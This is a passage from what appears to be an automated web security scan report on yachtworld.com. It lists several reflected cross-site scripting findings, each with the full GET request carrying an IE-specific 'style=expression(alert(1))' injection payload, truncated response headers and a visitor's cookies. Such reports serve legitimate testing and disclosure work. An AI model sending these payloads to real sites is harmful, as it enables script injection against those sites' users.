savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:56:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:10:51 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.308. http://www.yachtworld.com/boats/category/type/builder/model/United+States/North+Carolina/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55674"style%3d"x%3aexpression(alert(1))"123f0b4bcad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 55674"style="x:expression(alert(1))"123f0b4bcad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/North+Carolina/1?55674"style%3d"x%3aexpression(alert(1))"123f0b4bcad=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:10 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:16 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.309. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Ohio/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 418e0"style%3d"x%3aexpression(alert(1))"ebd3f07f531 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 418e0"style="x:expression(alert(1))"ebd3f07f531 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Ohio/1?418e0"style%3d"x%3aexpression(alert(1))"ebd3f07f531=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:12 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:19 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.310. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Rhode+Island/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34cda"style%3d"x%3aexpression(alert(1))"7c56c44601e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 34cda"style="x:expression(alert(1))"7c56c44601e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Rhode+Island/1?34cda"style%3d"x%3aexpression(alert(1))"7c56c44601e=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:00 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:07 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.311. http://www.yachtworld.com/boats/category/type/builder/model/United+States/South+Carolina/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 648d7"style%3d"x%3aexpression(alert(1))"f8d19d5acc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 648d7"style="x:expression(alert(1))"f8d19d5acc7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/South+Carolina/1?648d7"style%3d"x%3aexpression(alert(1))"f8d19d5acc7=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:04 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.312. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Texas/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29956"style%3d"x%3aexpression(alert(1))"10b56f38745 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 29956"style="x:expression(alert(1))"10b56f38745 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Texas/1?29956"style%3d"x%3aexpression(alert(1))"10b56f38745=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; 